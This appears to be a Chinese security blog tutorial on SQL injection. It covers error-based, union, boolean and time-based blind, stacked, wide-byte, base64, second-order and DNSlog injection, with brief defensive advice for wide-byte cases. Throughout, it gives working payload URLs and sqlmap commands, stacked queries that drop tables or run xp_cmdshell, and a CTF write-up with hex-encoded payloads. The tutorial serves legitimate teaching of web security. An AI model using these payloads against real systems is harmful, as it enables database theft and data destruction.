#1 SQL注入基础

作者: saya 分类: SQL注入篇,Web安全基础系列 发布时间: 2010-01-09 18:36

在其他领域驻足停留后发现,纯粹的心和繁杂的欲望终将貌合神离。醒来后不忘继续徒步前行,也该打扫打扫屋子了。
随后就念想着准备梳理整理下安全方面的一些基础,也算是醒后的第一杯缓酒,也给后来之人留个印迹。更多的是写给自己,如果不料看到了希望没有染到您的眼睛。先梳理下Web安全与渗透测试的一些基础。谈到Web安全,很多安全从业者会有些许轻蔑之意或者说是渗透测试的浅显。不料的是大部分人可都是从这块一步一步走过来的,现在站的位置研究的方向披金戴银了,就说是深度不够,简单了。技术本身并没有什么高低之分,往往都是心的问题。地球文明可以说都是如此,境随心转,何来贵贱(所以安全研究人员切记静心,专注一处的去研究一个领域,远离圈子的副产品)。如果非要牛角尖般论述一番,请先提升认知思维,不费口舌,谢谢。可见现在的安全圈是有多浮躁,这不,简单的一个开头就需要很多维度的变相来书写,可见我也被感染了。暂停,我们进入正题。

一、SQL注入原理
SQL注入攻击是黑客对数据库进行攻击的常用手段之一。随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码T-SQL语法,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。

SQL注入相关历史
1998年12月, Rain Forest Puppy(RFP) 在Phrack 54上发表文章“NT Web Technology Vulnerabilities”,首次提到SQL注入;
1999年2月,Allaire发出警告 “Multiple SQL Statements in Dynamic Queries”;
1999年5月, RFP与Matthew Astley发出警告 “NT ODBC Remote Compromise”;
2000年2月,RFP发表文章 “How I hacked Packetstorm – A look at hacking wwthreads via SQL”,披露如何利用SQL注入攻击渗透Packetstorm网站;
2000年9月,David Litchfield在Blackhat会议上发表主题演讲“Application Assessments on IIS” ;
2000年10月,Chip Andrews在SQLSecurity.com 上发表“SQL Injection FAQ ”,首次公开使用“SQL注入”这个术语 ;
2001年4月,David Litchfield 在Blackhat会议上发表主题演讲 “Remote Web Application Disassembly with ODBC Error Messages”;
2002年1月,Chris Anley发表论文“Advanced SQL Injection in SQL Server”,首次深度探讨该类攻击。
2002年6月,Chris Anley发表论文 “(more) Advanced SQL” ,补充同年1月发表的论文缺少的细节。
2004年Blackhat会议上, 0x90.org发布了SQL注入工具SQeaL ( Absinthe的前身)。

Sql注入本质是web应用没有对输入的T-sql语句进合法性判断。所以本质来讲sql注入只和数据库有关,只要和数据库有交互的地方都有可能存在sql注入。取决于程序员有没有过滤。这个举个通俗的例子,CPU执行程序,CUP只认识0和1,所有高级语言编写的程序功能在编译器工作翻译下转换成一堆0和1,而这堆0和1就代表着某个呈现的功能的执行(人理解的某个功能),CPU是不理解这种状态代表着什么,它只是不停的去执行翻译后的高低电平0和1,它管你是什么,只要使用这个cpu的人运行任何程序,无论病毒还是正常程序我都会去执行符合它格式的那堆0和1。Sql注入也是类似,数据库管理软件是不知道你输入的语句是否非法,我被编写后的规则就是执行符合T-SQL语法的输入,然后返回输入对应的数据结果,仅此而已。所以无论是cpu还是数据库都是无辜的,他们不知道带着人性恶意的输入,他们只是纯粹的返回数据结果。其实事物就是这样,都是人性而已。扯远了,sql注入的啰嗦解读,希望你懂了本质。

二、sql注入分类:

传参的数据类型分

1.数字型
$id=$_POST[‘id’]
后台的语句可能为:select user,password from users where id=$id
2.字符型
$id=$_POST[‘id’]
后台语句可能为:select user,password from users where id=’$id’

数字类型直接将后台接收到用户输入的内容带入到数据库中执行;而字符型将接收到的内容添加到引号内然后进行执行。字符型注入需要考虑语句的闭合问题,而数字类型则不存在。

传参的位置分
取决于脚本语言未过滤接收参数的位置,基本基于http请求的内容

1、GET方式注入
注入参数以GET方式进行提交
2、POST方式注入
注入参数以POST方式进行提交
3、cookie的注入
后台接收cookie内的参数,在http的cookie字段中存在注入漏洞
4、http头部的注入
后台会接收referer或user-agent字段中的参数,还有ip、server、host等取决于http请求内容中作为参数被接收并且未过滤,都有可能存在注入。

根据数据库响应分类
有回显注入:
1、联合查询注入
2、堆查询注入
无回显注入:
1、布尔盲注
2、延时盲注
3、报错注入

其他注入
1、宽字节注入
2、Base64注入
3、二次注入
4、DNSlog注入

 

一、报错注入
基于错误回显的sql注入就是通过sql语句的矛盾性来使数据被回显到页面上。目前实战可能会比较少遇到了。报错注入有很多种类型,根据不同函数特性报错回显。

 

常用报错语句:
count(*)、rand()、group by三者缺一不可,报错注入用一个公式,只要套用公式即可,公式如下:
?id=2' and (select 1 from (select count(*),concat( floor(rand(0)*2),(select (select (爆错语句)) from information_schema.tables limit 0,1))x from information_schema.tables group by x )a)--+

公式解析:

floor()是取整数

rand()在0和1之间产生一个随机数

rand(0)*2将取0到2的随机数

floor(rand()*2)有两条记录就会报错

floor(rand(0)*2)记录需为3条以上,且3条以上必报错,返回的值是有规律的

count(*)是用来统计结果的,相当于刷新一次结果

group by在对数据进行分组时会先看看虚拟表里有没有这个值,没有的话就插入存在的话count(*)加1

在使用group by时floor(rand(0)*2)会被执行一次,若虚表不存在记录,插入虚表时会再执行一次

 

报错注入其他函数:
1.  floor()和rand()
union select count(*),2,concat(':',(select database()),':',floor(rand()*2))as a from information_schema.tables group by a /*利用错误信息得到当前数据库名*/
2. extractvalue()
id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)))
3. updatexml()
id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1))
4. geometrycollection()
id=1 and geometrycollection((select * from(select * from(select user())a)b))
5. multipoint()
id=1 and multipoint((select * from(select * from(select user())a)b))
6. polygon()
id=1 and polygon((select * from(select * from(select user())a)b))
7. multipolygon()
id=1 and multipolygon((select * from(select * from(select user())a)b))
8. linestring()
id=1 and linestring((select * from(select * from(select user())a)b))
9. multilinestring()
id=1 and multilinestring((select * from(select * from(select user())a)b))
10. exp()
id=1 and exp(~(select * from(select user())a))

 

二、联合查询注入

UNION 操作符用于合并两个或多个 SELECT 语句的结果集。请注意,UNION 内部的 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条 SELECT 语句中的列的顺序必须相同。举个例子,还以最开始的 OWASP 为基础,返回了两个值分别是 first_name 和 sur_name,可想而知,服务器在返回数据库的查询结果时,就会把结果中的第一个值和第二个值传给 first_name 和 sur_name,多了或少了,都会引起报错。所以你如果想要使用union查询来进行注入,你首先要猜测后端查询语句中查询了多少列,哪些列可以回显给用户。

注入基本步骤

  • 找注入点且得到闭合字符
  • 判断数据库类型
  • 猜解列数,得到显示位
  • 得到基本信息(如:数据库名、数据库版本、当前数据库名等)
  • 得到数据库名
  • 得到表名
  • 得到列名
  • 得到列值

 

2.1 联合查询union需要让前面语句报错,数字型直接加 – ,字符型加 – 再闭合:-1’ union语句 –+

获取字段的总数: order by +数字,从1到4时4报错,所以网站字段为3
http://localhost/pentest/article.php?id=1 order by 1(字段数猜解直到返回不正常页面)

2.2 进行连接查询,找到显示位。从这不开始后面都需要令id=-1让其报错

http://localhost/pentest/article.php?id=-1 union select 1,2,3,4 … …

 

返回结果为2,3 说明union select 1,2,3中2,3可以输入mysql语句,尝试在2处查询数据库名  database()

2.3  http://localhost/pentest/article.php?id=-1 union select 1,database(),user()只有在mysql5.0以上版本才能使用database()查询数据库一般union select 1,database(),3 爆出数据库便可往下执行。

Mysql注入时还可以输入:

system_user() 系统用户名
user() 用户名
current_user() 当前用户名
session_user() 连接数据库的用户名
database() 数据库名
version() Mysql数据库版本
@@datadir 读取数据库路径
@@basedir Mysql安装路径
@@version_compile_os 操作系统

2.4 对target_sys数据库的表名进行查询语句: select table_name from information_schema.tables where table_schema = ‘target_sys’ limit 0,1

将语句加括号后代换2或3

http://localhost/pentest/article.php?id=-1 union select 1,(select table_name from information_schema.tables where table_schema = ‘target_sys’ limit 0,1),3

这里查出的是第一个表名,可以通过修改 语句后面的limit 0,1为limit 1,1或limit 2,1查看其他表名,这里以users表为例继续

2.5 对user表中的字段(列名)查询语句:

select column_name from information_schema.columns where table_schema = ‘target_sys’ and table_name = ‘users’ limit 0,1

同样将语句加括号后代换2或3

http://localhost/pentest/article.php?id=-1 union select 1,2,(select column_name from information_schema.columns where table_schema = ‘target_sys’ and table_name = ‘users’ limit 0,1)

 

更换limit 1,1找打其他的字段名分别为:id,username,password,email

2.6 查询账户密码内容
http://localhost/pentest/article.php?id=-1 union select 1,2,password from users

 

三、布尔盲注

对于基于Boolean-based的注入,必须要有一个可以正常访问的地址,比如http: //redtiger.labs.overthewire.org/level4.php?id=1 是一个可以正常访问的记录,说明id=1的记录是存在的,下面的都是基于这个进一步猜测。先来判断一个关键字keyword的长度,在后面构造id=1 and (select length(keyword) from table)=1,从服务器我们会得到一个返回值,如果和先前的返回值不一样,说明and后面的(select length(keyword) from table)=1返回false,keyword的长度不等于1。继续构造直到id=1 and (select length(keyword) from table)=15返回true,说明keyword的长度为15。

为什么我们刚开始一定要找一个已经存在的id,其实这主要是为了构造一个为真的情况。Boolean-based就是利用查询结果为真和为假时的不同响应,通过不断猜测来找到自己想要的东西。对于keyword的值,mysql数据库可以使用substr(string, start, length)函数,截取string从第start位开始的length个字符串id=1 and (select substr(keyword,1,1) from table) =’A’,依此类推,就可以获得keyword的在数据库中的值。Boolean-based的效率很低,需要多个请求才能确定一个值,尽管这种代价可以通过脚本来完成,在有选择的情况下,我们会优先选择其他方式。

步骤语句首先测试是否为布尔盲注:

http://localhost/index.php?id=2
http://localhost/index.php?id=2′
http://localhost/index.php?id=2”
http://localhost/index.php?id=2%23
http://localhost/index.php?id=2′ and 1=1#
若为布尔盲注,则按照以下步骤进行:

一、得到数据库的长度

http://localhost/index.php?id=2′ and length(database())>1%23

二、获取数据库名称

姿势:http://localhost/index.php?id=2′ and ascii(substr(database(), {0}, 1))={1}%23

脚本自动获取:XXXXXXXXXXXXX

三、获取表长度

姿势:http://localhost/index.php?id=2' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>0 %23

四、获取表名

和第二步获得数据库名差不多,姿势稍微变了一下:

http://localhost/index.php?id=2' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1)), {0}, 1)={1}%23

五、获取字段的个数和长度姿势:

http://localhost/index.php?id=2' and (select length(column_name) from information_schema.columns where table_name = 0x666C6167 limit 0,1)>0%23
其中limit 0,1表示第一列,limit 1,1为第二列,依次类推。

六、获取字段名称姿势:

http://localhost/index.php?id=2' and ascii(substr((select column_name from information_schema.columns where table_name = 0x666C6167 limit 0,1), {0}, 1))={1}%23

七、脱库

1.首先判断该表有多少条记录:

http://localhost/index.php?id=2' and (select count(*) from flag)>0%23

2.然后获取当前记录的长度:

http://localhost/index.php?id=2' and (select length(flag) from flag limit 0,1)>0%23

3.获取当前记录的值:

http://localhost/index.php?id=2' and ascii(substr((select flag from flag limit 0,1), {0}, 1))={1}%23

 

四、时间盲注(延时注入)

网站页面在输入条件为真和为假返回的页面相同,但通过延时函数构造语句,可通过页面响应时间的不同判断是否存在注入猜解思路:类似基于布尔的盲注,只是将条件为真转换为延时响应,常用函数:
if(condition,A,B):若condition返回真则执行A,假则执行B
substr(str,A,B):字符串截取函数,截取str字符串从A位置开始,截取B个字符
left(str,A):类似字符串截取函数,返回str字符串从左往右数的A个字符
count(A):计算A的数目,常用与查询数据表、数据列、数据内容的条数
len(A):计算A的长度,常用于返回数据库名、数据表名、数据列名的长度
ascii(A):返回A的ascii码,当逐字猜解限制单引号的输入时,可以通过查询ascii码来绕过。

延迟注入,是一种盲注的手法, 提交对执行时间铭感的函数sql语句,通过执行时间的长短来判断是否执行成功,比如:正确的话会导致时间很长,错误的话会导致执行时间很短,这就是所谓的高级盲注.SQLMAP、穿山甲、胡萝卜等主流注入工具可能检测不出,只能手工检测,利用脚本程序跑出结果。

1.检查延迟注入
http://10.0.0.21/yanci.php?username=root’ and sleep(5)%23
或者
http://10.0.0.21/yanci.php?username=root’ and sleep(5) and ‘xRsl’=’xRsl#
或者
http://10.0.0.21/yanci.php?username=root’ and If(ascii(substr(database(),1,1))=114,1,sleep(5))#

如果有注入,则延迟时间很长:

 

id=1 union select if(SUBSTRING(user(),1,4)=’root’,sleep(4),1),null,null /*提取用户名前四个字符做判断,正确就延迟4秒,错误返回1*/

本质:延时注入在存在注入点的位置执行sleep()等时间函数让其停顿来判断猜解的字符正确与否,重复此操作,猜解出全部字符。所以需要写成脚本进行猜解即可。
前提是理解这个类型的注入本质原理。工具可以自写脚本,或者sqlmap等工具。

2.自写脚本跑出数据。
3.sqlmap进行测试。

可用指定注入类型参数 –technique

B,E,Q,U,S,T 直接决定注入类型的改变
B:布尔型盲注
E:报错型注入
Q:内联查询
U:联合查询
S:可多个语句查询的注入 对栈查询
T:基于时间的盲注

如,语句
sqlmap.py -u www.xxx.com/xxx.php?id=1 -p id --technique T --time-sec 9 --current-db
--technique T --time-sec 9指定注入类型为时间盲注,延时时间为9秒

 

五、堆叠注入

Stacked injection 汉语翻译过来后,国内有的称为堆查询注入,也有称之为堆叠注入。个人认为称之为堆叠注入更为准确。堆叠注入为攻击者提供了很多的攻击手段,通过添加一个新 的查询或者终止查询,可以达到修改数据和调用存储过程的目的。这种技术在SQL注入中还是比较频繁的。原理介绍:在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。

堆叠注入的局限性,堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到API或者数据库引擎不支持的限制,当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。

Ps:此图是从原文中截取过来的,因为我个人的测试环境是php+mysql,是可以执行的,此处对于mysql/php存在质疑。但个人估计原文作者可能与我的版本的不同的原因。虽然我们前面提到了堆叠查询可以执行任意的sql语句,但是这种注入方式并不是十分的完美的。在我们的web系统中,因为代码通常只返回一个查询结果,因此,堆叠注入第二个语句产生错误或者结果只能被忽略,我们在前端界面是无法看到返回结果的。因此,在读取数据时,我们建议使用union(联合)注入。同时在使用堆叠注入之前,我们也是需要知道一些数据库相关信息的,例如表名,列名等信息。

各个数据库实例介绍

5.1.1 Mysql

5.1 新建一个表 select * from users where id=1;create table test like users;

执行成功,我们再去看一下是否新建成功表。

5.2 删除上面新建的test表select * from users where id=1;drop table test;

5.3 查询数据select * from users where id=1;select 1,2,3;

加载文件 select * from users where id=1;select load_file(‘c:/tmpupbbn.php’);

5.4 修改数据select * from users where id=1;insert into users(id,username,password) values(‘100′,’new’,’new’);

5.1.2 SQL server

mssql和mysql一样基本都支持这种方式的查询,其他增删查该不测试了都可行我们重点看下存储过程的执行。

select * from test where id=1;exec master..xp_cmdshell 'ipconfig'

 

5.1.3 Oracle

Bang! oracle不能使用堆叠注入,可以从图中看到,当有两条语句在同一行时,直接报错。无效字符。后面的就不往下继续尝试了.

 

5.1.4 Postgresql

1. 新建一个表 select * from user_test;create table user_data(id DATE);

可以看到user_data表已经建好

2. 删除上面新建的user_data表select * from user_test;delete from user_data;

3.  查询数据select * from user_test;select 1,2,3;

4. 修改数据 select * from user_test;update user_test set name=’modify’ where name=’张三’;

 

六、宽字节注入

这类注入和主流注入技术无关,是数据库字符编码的处理问题导致的一类注入问题。宽字节注入是因为数据库使用了GBK编码,GBK等编码是汉字字符集,一个汉字占2个字节。背景:
1.当某字符的大小为一个字节时,称其字符为窄字节.
2.当某字符的大小为两个字节时,称其字符为宽字节.
3.所有英文默认占一个字节,汉字占两个字节
4.常见的宽字节编码:GB2312,GBK,GB18030,BIG5,Shift_JIS等等

宽字节注入原理:

程序员为了防止sql注入,对用户输入中的单引号(’)进行处理,在单引号前加上斜杠(\)进行转义,这样被处理后的sql语句中,单引号不再具有‘作用’,仅仅是‘内容’而已,换句话说,这个单引号无法发挥和前后单引号闭合的作用,仅仅成为‘内容‘再举个例子,要找某位名字里带单引号的用户,搜索的时候,就要让单引号成为内容去搜索,而不能起到其他作用而安全测试人员要绕过这个转义处理,使单引号发挥作用,有两个思路:

让斜杠(\)失去作用
让斜杠(\)消失

第一个思路就是借鉴程序员的防范思路,对斜杠(\)转义,使其失去转义单引号的作用,成为‘内容’

第二个思路就是宽字节注入

当使用宽字节编码,如:GBK时,两个连在一起的字符会被认为是汉字,我们可以在单引号前加一个字符,使其和斜杠(\)组合被认为成汉字,从未达到让斜杠消失的目的,进而使单引号发挥作用。注意:前一个字符的Ascii要大于128,两个字符才能组合成汉字。

注入方法测试:
核心是在有宽字节入的注入点后让转义失效同时闭合单引号,那么我们可以使用类似%df%27等,因为宽字节注入发生的位置就是PHP发送请求到MYSQL时字符集使用character_set_client设置值进行了一次编码。

如:http://localhost/xl.php?sql=root%df%27%20or%201=1%23  实际数据库编码后执行效果:

解析过程:

执行了插入的sql语句。

 

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1 加个单引号,发现转义

加上%df’ 等组合可以闭合单引号,后面就是根据程序过滤方式再进行注入操作了。

 

白盒审计方向:

1.查看Mysql编码受否为GBK
2.是否使用Preg_replace吧单引号替换成\’
3.是否使用addslashes进行转义
4.是否使用Mysql_real_escape_string进行转义

一、GBK编码

二、单引号被替换成\’

三、php内置函数addslashes进行转义

四、mysql_real_escape_string

这个mysql内置的函数可以把sql语句中字符串的特殊字符进行转义,同时考虑连接的字符集,可以用来解决宽字节注入,但某些场景仍不行,因为程序没有指定php连接mysql的字符集。如果要使用这个函数防御,要在执行sql语句之前调用一下mysql_set_charset函数,设置当前连接的字符集为gbk,再调用mysql_real_escape_string来过滤用户输入

关于SQLMAP
需要注意的是,对于宽字节注入场景,直接 python sqlmap.py -u “http://localhost/sqli-labs-master/Less-32/?id=1” 是找不到注入的

核心是用宽字节去闭合单引号,然后注入

sqlmap.py -u "http://localhost/sqli-labs-master/Less-32/?id=1%df%27" --level 3 --risk 1  --dbs

或者使用 unmagicquotes.py脚本进行宽字符绕过

sqlmap.py -u "http://localhost/sqli-labs-master/Less-32/?id=1" --tamper "unmagicquotes" --dbs

在utf-8编码大趋势下,如果就安全性来说,使用utf-8编码能够避免很多多字节造成的问题。不光是gbk,只是习惯性地把gbk作为一个典型的例子在文中与大家说明。世界上的多字节编码有很多,特别是韩国、日本及一些非英语国家的cms,都可能存在由字符编码造成的安全问题,大家应该有扩展性的思维。

总结一下全文中提到的由字符编码引发的安全问题及其解决方案:

gbk编码造成的宽字符注入问题,解决方法是设置character_set_client=binary。
矫正人们对于mysql_real_escape_string的误解,单独调用set names gbk和mysql_real_escape_string是无法避免宽字符注入问题的。还得调用mysql_set_charset来设置一下字符集。谨慎使用iconv来转换字符串编码,很容易出现问题。只要我们把前端html/js/css所有编码设置成gbk,mysql/php编码设置成gbk,就不会出现乱码问题。不用画蛇添足地去调用iconv转换编码,造成不必要的麻烦。

 

七、Base64注入

这类注入和之前的宽字节类似,是程序本身传参根据编码等处理问题造成的注入。程序将接收的参数进行了base64编码处理同时接收解码后直接进行数据库查询为过滤等,所以攻击者可以直接将攻击sql语句全部进行base64编码,然后和正常的主流注入技术一样操作,本质比较简单。可能需要注意的细节问题如编码后的url编码问题。

操作原理:
判断对参数进行base64编码,如下所示:
id=1,id=1’,id=1 and 1=1,id=1 and 1=2

编码后:
id=MQ==,id=MSc=,id=MSBhbmQgMT0x,id=MSBhbmQgMT0y

说明:id=1’,1的base64编码为MSc=,而=的url编码为%3d,所以得到以下结果:id=MSc%3d

Sqlmap 编码脚本:

sqlmap -u http://xxxx.com/new.php?id=LTEnIG9yICc4OCc9Jzg5 --tamper "base64encode.py" --dbs

PS:
sqlmap拥有很多功能插件,其中常用到的
bypass脚本绕过SQLMAP主要两个脚本:
space2hash.py ,对于MYSQL数据库 4.0, 5.0注入
space2morehash.py ,对于MYSQL数据库 >= 5.1.13 和 MySQL 5.1.41 注入
首先确定目标数据库版本,然后选择相应的脚本。
-v 3 –batch –tamper “space2hash.py”
还有其他一些插件:
encodes编码 ——charencode.py
base64编码 —— base64encode.py
替换空格和关键字 —— halfversionedmorekeywords.py

 

八、二次注入

二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入

二次注入,可以概括为以下两步:

第一步:插入恶意数据
进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。

第二步:引用恶意数据
开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。

配合下图可以有更好的理解:

 

二次注入实例——“强网杯”three hit

打开看看:

尝试注入失败

注册一个账号:

登陆进去会显示用户名,age,以及和该用户age相同的用户名。这里题目对用户名做了限制只能为0-9a-zA-Z,对age限制为只能是数字。根据题目的显示,猜测SQL语句Select name from table whereage=xx limit 0,1;猜测age处存在SQL注入, 这里后来看了其他大佬的解题思路,某大佬直接访问.index.php.swp,获得了源代码(其实是比赛方在修改代码,非预期):

可以看到对age进行了is_numeric处理,可以用16进制编码绕过。Payload:1 and 1=2#0x3120616e6420313d3223用0x3120616e6420313d3223作为age注册一个用户:

发现查询为空。再试试1 and 1=1#0x3120616e6420313d3123用0x3120616e6420313d3123作为age注册一个用户:

此时发现可以查询到aaa用户,根据and 1=1 和 and 1=2返回不同判断此处存在二次SQL注入,注册用户的age字段直接被后续的查询语句所调用。接下来的操作和普通的SQL注入测试操作没有什么区别,首先还是测有几列:Payload:1 order by4#注册age为0x31206f72646572206279203423的用户:

查询正常。Payload:注册age为0x31206f72646572206279203523的用户:

查询失败,可以判断列数为4,接下来就是暴库,首先用union看看可以利用显示的字段:

可以看到第二列可以用来显示,接下来暴库:

Payload:1 and 1=2union select 1,group_concat(schema_name),3,4 from information_schema.schemata#0x3120616e6420313d3220756e696f6e2073656c65637420312c67726f75705f636f6e63617428736368656d615f6e616d65292c332c342066726f6d20696e666f726d6174696f6e5f736368656d612e736368656d61746123

可以看到 数据库名qwb,接下来爆表:

Payload:1 and 1=2union select 1,group_concat(table_name),3,4 from information_schema.tableswhere table_schema=’qwb’#0x3120616e6420313d3220756e696f6e2073656c65637420312c67726f75705f636f6e636174287461626c655f6e616d65292c332c342066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573207768657265207461626c655f736368656d613d277177622723

最终payload:19 and 1=2union select null,concat(flag),null,null from flag#0x313920616e6420313d3220756e696f6e2073656c656374206e756c6c2c636f6e63617428666c6167292c6e756c6c2c6e756c6c2066726f6d20666c616723

注册一个age为0x313920616e6420313d3220756e696f6e2073656c656374206e756c6c2c636f6e63617428666c6167292c6e756c6c2c6e756c6c2066726f6d20666c616723的用户:

总结一下,二次注入发生时,虽然会对用户的输入的一些符号进行转义,但是在存入数据库的时候被还原,如果从数据库中取数据的时候直接进行利用,就会造成二次注入,因此在从数据库或文件中取数据的时候,也要进行转义或者过滤。

二次注入实例练习可以参考——SQLIlab lesson-24 ,SQLIlab是练习注入很好的实验环境,有需要的可以进行搭建练习。
地址:https://github.com/Audi-1/sqli-labs

 

九、DNSlog注入

不是主流SQL注入技术,运用数据库函数dns特性,根据dns解析递归迭代等功能记录返回数据结果在自建dnslog中,解决盲注方向的效率问题,以及一些waf等。同时也支持如XSS,SSRF,XXE,命令执行等应用场景。

注入方面注意点:

my.ini选项

1、当secure_file_priv为空,就可以读取磁盘的目录。//才行

2、当secure_file_priv为G:\,就可以读取G盘的文件。

3、当secure_file_priv为null,load_file就不能加载文件。

4、支持windows。linux不行,UNC知识自行百度

 

一、使用DnslogSqlinj 配合ceye.io API接口:

二、sqlmap 配合自建dns服务器:

这里可能会有坑,sqlmap和dns服务器需要在一台vps上同时再多开一个监听窗口 执行tcpdump –n port 53,如果没开可能有通信失败问题。具体每个环境不一样自行测试数据反馈上确实快不少,—_—!这好像是废话。

sqlmap.py -u "http://xxx.com/ssss/Less-9/?id=2" --tech=T --dbms=mysql --dns-domain=yours.xyz --current-db --batch

sqlmap.py -u "http://xxx.com/ssss/Less-9/?id=2" --flush-session --tech=T --dbms=mysql --dns-domain=yours.xyz --current-db --batch

具体可参考:

https://www.cnblogs.com/p0pl4r/p/10581070.html

https://blog.csdn.net/weixin_30596023/article/details/99261673

https://www.freebuf.com/sectool/222967.html

https://xz.aliyun.com/t/2359

 

总结:
Sql注入主流技术大致有5种,其他几种基于编码以及程序逻辑的缺陷进行的注入,更多的是方式的改变,用到的实际注入技术大致还是本质的五种。常用的sql注入工具,sqlmap,或者根据实际情况自写注入脚本。前面罗列的注入都是基本原理基础,真正的技术细节和技巧需要在不断实战中积累经验,后期在利用sql注入等漏洞方面可能大部分时间在waf对抗方面的研究。以及其他利用技巧。这篇的sql注入篇为基础,后面慢慢谈一些利用技巧。原理理解后更多的还是实战练习。

现在的靶机环境也是多如牛毛,推荐一个专门练习sql注入的集合环境

https://github.com/Audi-1/sqli-labs

 

发表评论

电子邮件地址不会被公开。 必填项已用*标注

标签云